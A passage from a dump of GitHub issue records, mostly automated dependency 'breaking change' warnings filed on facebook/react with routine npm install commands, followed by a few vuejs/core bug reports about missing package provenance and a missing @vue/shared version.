### Current Version
- **^1.3.3**

### Latest Version
- **2.0.5**

### Package Information
- **Description:** An HTML5 saveAs() FileSaver implementation
- **Homepage:** https://github.com/eligrey/FileSaver.js#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install file-saver@2.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:08Z,2025-07-19T02:18:04Z,1
facebook/react,3241163010,Update webpack from ^1.14.0 to 5.100.2,"## Breaking Change Warning
        
A major version update is available for **webpack**.

### Current Version
- **^1.14.0**

### Latest Version
- **5.100.2**

### Package Information
- **Description:** Packs ECMAScript/CommonJs/AMD modules for the browser. Allows you to split your codebase into multiple bundles, which can be loaded on demand. Supports loaders to preprocess files, i.e. json, jsx, es7, css, less, ... and your custom stuff.
- **Homepage:** https://github.com/webpack/webpack

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install webpack@5.100.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:07Z,2025-07-19T02:18:06Z,1
facebook/react,3241162929,Update babel-loader from ^8.1.0 to 10.0.0,"## Breaking Change Warning
        
A major version update is available for **babel-loader**.

### Current Version
- **^8.1.0**

### Latest Version
- **10.0.0**

### Package Information
- **Description:** babel module loader for webpack
- **Homepage:** https://github.com/babel/babel-loader

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-loader@10.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:06Z,2025-07-19T02:18:08Z,1
facebook/react,3241162822,Update @typescript-eslint/parser from ^7.4.0 to 8.37.0,"## Breaking Change Warning
        
A major version update is available for **@typescript-eslint/parser**.

### Current Version
- **^7.4.0**

### Latest Version
- **8.37.0**

### Package Information
- **Description:** An ESLint custom parser which leverages TypeScript ESTree
- **Homepage:** https://typescript-eslint.io/packages/parser

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @typescript-eslint/parser@8.37.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:04Z,2025-07-19T02:18:10Z,1
facebook/react,3241162775,Update @typescript-eslint/eslint-plugin from ^7.4.0 to 8.37.0,"## Breaking Change Warning
        
A major version update is available for **@typescript-eslint/eslint-plugin**.

### Current Version
- **^7.4.0**

### Latest Version
- **8.37.0**

### Package Information
- **Description:** TypeScript plugin for ESLint
- **Homepage:** https://typescript-eslint.io/packages/eslint-plugin

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @typescript-eslint/eslint-plugin@8.37.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:03Z,2025-07-19T02:18:12Z,1
facebook/react,3241162713,Update @types/node from ^18.7.18 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^18.7.18**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:02Z,2025-07-19T02:18:14Z,1
facebook/react,3241162682,Update @types/glob from ^8.1.0 to 9.0.0,"## Breaking Change Warning
        
A major version update is available for **@types/glob**.

### Current Version
- **^8.1.0**

### Latest Version
- **9.0.0**

### Package Information
- **Description:** Stub TypeScript definitions entry for glob, which provides its own types definitions
- **⚠️ Deprecated:** This is a stub types definition. glob provides its own type definitions, so you do not need this installed.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/glob@9.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:50:01Z,2025-07-19T02:18:42Z,1
facebook/react,3241162609,Update yargs from ^17.7.1 to 18.0.0,"## Breaking Change Warning
        
A major version update is available for **yargs**.

### Current Version
- **^17.7.1**

### Latest Version
- **18.0.0**

### Package Information
- **Description:** yargs the modern, pirate-themed, successor to optimist.
- **Homepage:** https://yargs.js.org/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install yargs@18.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:59Z,2025-07-19T02:18:44Z,1
facebook/react,3241162579,Update react-dom from 0.0.0-experimental-4beb1fd8-20241118 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **0.0.0-experimental-4beb1fd8-20241118**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:58Z,2025-07-19T02:18:45Z,1
facebook/react,3241162557,Update react from 0.0.0-experimental-4beb1fd8-20241118 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **0.0.0-experimental-4beb1fd8-20241118**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:57Z,2025-07-19T02:18:48Z,1
facebook/react,3241162540,Update jsdom from ^22.1.0 to 26.1.0,"## Breaking Change Warning
        
A major version update is available for **jsdom**.

### Current Version
- **^22.1.0**

### Latest Version
- **26.1.0**

### Package Information
- **Description:** A JavaScript implementation of many web standards
- **Homepage:** https://github.com/jsdom/jsdom#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jsdom@26.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:57Z,2025-07-19T02:18:49Z,1
facebook/react,3241162512,Update glob from ^10.3.10 to 11.0.3,"## Breaking Change Warning
        
A major version update is available for **glob**.

### Current Version
- **^10.3.10**

### Latest Version
- **11.0.3**

### Package Information
- **Description:** the most correct and second fastest glob implementation in JavaScript
- **Homepage:** https://github.com/isaacs/node-glob#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install glob@11.0.3
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:56Z,2025-07-19T02:18:52Z,1
facebook/react,3241162483,Update chalk from 4 to 5.4.1,"## Breaking Change Warning
        
A major version update is available for **chalk**.

### Current Version
- **4**

### Latest Version
- **5.4.1**

### Package Information
- **Description:** Terminal string styling done right
- **Homepage:** https://github.com/chalk/chalk#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install chalk@5.4.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:55Z,2025-07-19T02:18:53Z,1
facebook/react,3241162451,Update @testing-library/react from ^13.4.0 to 16.3.0,"## Breaking Change Warning
        
A major version update is available for **@testing-library/react**.

### Current Version
- **^13.4.0**

### Latest Version
- **16.3.0**

### Package Information
- **Description:** Simple and complete React DOM testing utilities that encourage good testing practices.
- **Homepage:** https://github.com/testing-library/react-testing-library#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @testing-library/react@16.3.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:54Z,2025-07-19T02:18:55Z,1
facebook/react,3241162369,Update jest from ^29.7.0 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^29.7.0**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:52Z,2025-07-19T02:18:57Z,1
facebook/react,3241162348,Update @types/jest from ^29.5.14 to 30.0.0,"## Breaking Change Warning
        
A major version update is available for **@types/jest**.

### Current Version
- **^29.5.14**

### Latest Version
- **30.0.0**

### Package Information
- **Description:** TypeScript definitions for jest
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/jest@30.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:51Z,2025-07-19T02:18:59Z,1
facebook/react,3241162315,Update zod from ^3.23.8 to 4.0.5,"## Breaking Change Warning
        
A major version update is available for **zod**.

### Current Version
- **^3.23.8**

### Latest Version
- **4.0.5**

### Package Information
- **Description:** TypeScript-first schema declaration and validation library with static type inference
- **Homepage:** https://zod.dev

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod@4.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:51Z,2025-07-19T02:19:01Z,1
facebook/react,3241162143,Update yargs from ^17.7.2 to 18.0.0,"## Breaking Change Warning
        
A major version update is available for **yargs**.

### Current Version
- **^17.7.2**

### Latest Version
- **18.0.0**

### Package Information
- **Description:** yargs the modern, pirate-themed, successor to optimist.
- **Homepage:** https://yargs.js.org/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install yargs@18.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:46Z,2025-07-19T02:19:02Z,1
facebook/react,3241162088,Update @types/node from ^20 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^20**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:45Z,2025-07-19T02:19:04Z,1
facebook/react,3241161996,Update zod from ^3.22.4 to 4.0.5,"## Breaking Change Warning
        
A major version update is available for **zod**.

### Current Version
- **^3.22.4**

### Latest Version
- **4.0.5**

### Package Information
- **Description:** TypeScript-first schema declaration and validation library with static type inference
- **Homepage:** https://zod.dev

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod@4.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:42Z,2025-07-19T02:19:06Z,1
facebook/react,3241161980,Update yargs from ^17.7.2 to 18.0.0,"## Breaking Change Warning
        
A major version update is available for **yargs**.

### Current Version
- **^17.7.2**

### Latest Version
- **18.0.0**

### Package Information
- **Description:** yargs the modern, pirate-themed, successor to optimist.
- **Homepage:** https://yargs.js.org/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install yargs@18.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:42Z,2025-07-19T02:19:08Z,1
facebook/react,3241161962,Update ora from 5.4.1 to 8.2.0,"## Breaking Change Warning
        
A major version update is available for **ora**.

### Current Version
- **5.4.1**

### Latest Version
- **8.2.0**

### Package Information
- **Description:** Elegant terminal spinner
- **Homepage:** https://github.com/sindresorhus/ora#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install ora@8.2.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:41Z,2025-07-19T02:19:09Z,1
facebook/react,3241161941,Update chalk from 4 to 5.4.1,"## Breaking Change Warning
        
A major version update is available for **chalk**.

### Current Version
- **4**

### Latest Version
- **5.4.1**

### Package Information
- **Description:** Terminal string styling done right
- **Homepage:** https://github.com/chalk/chalk#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install chalk@5.4.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:40Z,2025-07-19T02:19:12Z,1
facebook/react,3241161897,Update ts-jest from ^28.0.7 to 29.4.0,"## Breaking Change Warning
        
A major version update is available for **ts-jest**.

### Current Version
- **^28.0.7**

### Latest Version
- **29.4.0**

### Package Information
- **Description:** A Jest transformer with source map support that lets you use Jest to test projects written in TypeScript
- **Homepage:** https://kulshekhar.github.io/ts-jest

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install ts-jest@29.4.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:39Z,2025-07-19T02:19:14Z,1
facebook/react,3241161882,Update jest from ^28.1.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^28.1.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:39Z,2025-07-19T02:19:16Z,1
facebook/react,3241161862,Update @types/node from ^20.2.5 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^20.2.5**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:38Z,2025-07-19T02:19:18Z,1
facebook/react,3241161818,Update @types/jest from ^28.1.6 to 30.0.0,"## Breaking Change Warning
        
A major version update is available for **@types/jest**.

### Current Version
- **^28.1.6**

### Latest Version
- **30.0.0**

### Package Information
- **Description:** TypeScript definitions for jest
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/jest@30.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:37Z,2025-07-19T02:19:20Z,1
facebook/react,3241161794,Update pretty-format from ^24 to 30.0.2,"## Breaking Change Warning
        
A major version update is available for **pretty-format**.

### Current Version
- **^24**

### Latest Version
- **30.0.2**

### Package Information
- **Description:** Stringify any JavaScript value.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install pretty-format@30.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:36Z,2025-07-19T02:19:21Z,1
facebook/react,3241161764,Update jest from ^29.5.0 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^29.5.0**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:36Z,2025-07-19T02:19:23Z,1
facebook/react,3241161742,Update eslint from 8.57.0 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **8.57.0**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:35Z,2025-07-19T02:19:25Z,1
facebook/react,3241161727,Update babel-jest from ^29.0.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **babel-jest**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Jest plugin to use babel for transformation.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:35Z,2025-07-19T02:19:27Z,1
facebook/react,3241161707,Update @types/node from ^20.2.5 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^20.2.5**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:34Z,2025-07-19T02:19:28Z,1
facebook/react,3241161684,Update @types/eslint from ^8.56.12 to 9.6.1,"## Breaking Change Warning
        
A major version update is available for **@types/eslint**.

### Current Version
- **^8.56.12**

### Latest Version
- **9.6.1**

### Package Information
- **Description:** TypeScript definitions for eslint
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/eslint

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/eslint@9.6.1
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:33Z,2025-07-19T02:19:30Z,1
facebook/react,3241161640,Update zod from ^3.22.4 to 4.0.5,"## Breaking Change Warning
        
A major version update is available for **zod**.

### Current Version
- **^3.22.4**

### Latest Version
- **4.0.5**

### Package Information
- **Description:** TypeScript-first schema declaration and validation library with static type inference
- **Homepage:** https://zod.dev

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod@4.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:32Z,2025-07-19T02:19:32Z,1
facebook/react,3241161584,Update zod-validation-error from ^2.1.0 to 3.5.3,"## Breaking Change Warning
        
A major version update is available for **zod-validation-error**.

### Current Version
- **^2.1.0**

### Latest Version
- **3.5.3**

### Package Information
- **Description:** Wrap zod validation errors in user-friendly readable messages
- **Homepage:** https://github.com/causaly/zod-validation-error#readme

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod-validation-error@3.5.3
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:31Z,2025-07-19T02:19:34Z,1
facebook/react,3241161569,Update zod from ^3.22.4 to 4.0.5,"## Breaking Change Warning
        
A major version update is available for **zod**.

### Current Version
- **^3.22.4**

### Latest Version
- **4.0.5**

### Package Information
- **Description:** TypeScript-first schema declaration and validation library with static type inference
- **Homepage:** https://zod.dev

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install zod@4.0.5
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:30Z,2025-07-19T02:19:36Z,1
facebook/react,3241161540,Update react-dom from 0.0.0-experimental-4beb1fd8-20241118 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react-dom**.

### Current Version
- **0.0.0-experimental-4beb1fd8-20241118**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React package for working with the DOM.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react-dom@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:29Z,2025-07-19T02:19:56Z,1
facebook/react,3241161524,Update react from 0.0.0-experimental-4beb1fd8-20241118 to 19.1.0,"## Breaking Change Warning
        
A major version update is available for **react**.

### Current Version
- **0.0.0-experimental-4beb1fd8-20241118**

### Latest Version
- **19.1.0**

### Package Information
- **Description:** React is a JavaScript library for building user interfaces.
- **Homepage:** https://react.dev/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install react@19.1.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:29Z,2025-07-19T02:19:58Z,1
facebook/react,3241161504,Update pretty-format from ^24 to 30.0.2,"## Breaking Change Warning
        
A major version update is available for **pretty-format**.

### Current Version
- **^24**

### Latest Version
- **30.0.2**

### Package Information
- **Description:** Stringify any JavaScript value.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install pretty-format@30.0.2
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:28Z,2025-07-19T02:20:00Z,1
facebook/react,3241161487,Update jest-environment-jsdom from ^29.0.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest-environment-jsdom**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.4**

### Package Information

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest-environment-jsdom@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:28Z,2025-07-19T02:20:01Z,1
facebook/react,3241161461,Update jest from ^29.0.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **jest**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Delightful JavaScript Testing.
- **Homepage:** https://jestjs.io/

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:27Z,2025-07-19T02:20:03Z,1
facebook/react,3241161439,Update eslint from ^8.57.1 to 9.31.0,"## Breaking Change Warning
        
A major version update is available for **eslint**.

### Current Version
- **^8.57.1**

### Latest Version
- **9.31.0**

### Package Information
- **Description:** An AST-based pattern checker for JavaScript.
- **Homepage:** https://eslint.org

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install eslint@9.31.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:27Z,2025-07-19T02:20:05Z,1
facebook/react,3241161409,Update babel-jest from ^29.0.3 to 30.0.4,"## Breaking Change Warning
        
A major version update is available for **babel-jest**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.4**

### Package Information
- **Description:** Jest plugin to use babel for transformation.

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install babel-jest@30.0.4
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:26Z,2025-07-19T02:20:07Z,1
facebook/react,3241161336,Update @types/node from ^18.7.18 to 24.0.14,"## Breaking Change Warning
        
A major version update is available for **@types/node**.

### Current Version
- **^18.7.18**

### Latest Version
- **24.0.14**

### Package Information
- **Description:** TypeScript definitions for node
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/node@24.0.14
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:24Z,2025-07-19T02:20:09Z,1
facebook/react,3241161300,Update @types/jest from ^29.0.3 to 30.0.0,"## Breaking Change Warning
        
A major version update is available for **@types/jest**.

### Current Version
- **^29.0.3**

### Latest Version
- **30.0.0**

### Package Information
- **Description:** TypeScript definitions for jest
- **Homepage:** https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/jest

### Recommended Actions
1. Review the changelog for breaking changes
2. Update your code to handle any breaking changes
3. Test thoroughly before deploying
4. Consider updating incrementally if multiple major versions behind

### Update Command
```bash
npm install @types/jest@30.0.0
```

---
*This issue was created automatically by the dependency breaking change checker.*
",,2025-07-17T22:49:23Z,2025-07-19T02:20:11Z,1
vuejs/core,4638130729,Trust downgraded,"### Vue version

3.5.36 / 3.5.37

### Link to minimal reproduction

N/A

### Steps to reproduce

```
[ERR_PNPM_TRUST_DOWNGRADE] High-risk trust downgrade for ""vue@3.5.37"" (possible package takeover)
```

<img width=""553"" height=""448"" alt=""Image"" src=""https://github.com/user-attachments/assets/45332e9a-0d23-44c9-bdd5-37c6298e6ea8"" />

3.5.36 and 3.5.37 versions are no longer with provenance.

### What is expected?

With provenance

### What is actually happening?

No provenance.

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-06-11T07:16:40Z,2026-06-11T07:43:29Z,3
vuejs/core,4636995181,vue/shared version is wrong,"### Vue version

2.6.10

### Link to minimal reproduction

1

### Steps to reproduce

when npm install,
npm ERR! code ETARGET
npm ERR! notarget No matching version found for @vue/shared@3.5.36.
npm ERR! notarget In most cases you or one of your dependencies are requesting
npm ERR! notarget a package version that doesn't exist.

### What is expected?

why vue/shared@3.5.36?  only 3.5.35...

### What is actually happening?

vue/shared@3.5.36

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-06-11T03:37:39Z,2026-06-11T05:31:02Z,13
vuejs/core,4597897761,compiler-sfc: Reactive Props Destructure rewrites local references to `var` declaration,"### Vue version

3.6.0-beta.14

### Link to minimal reproduction

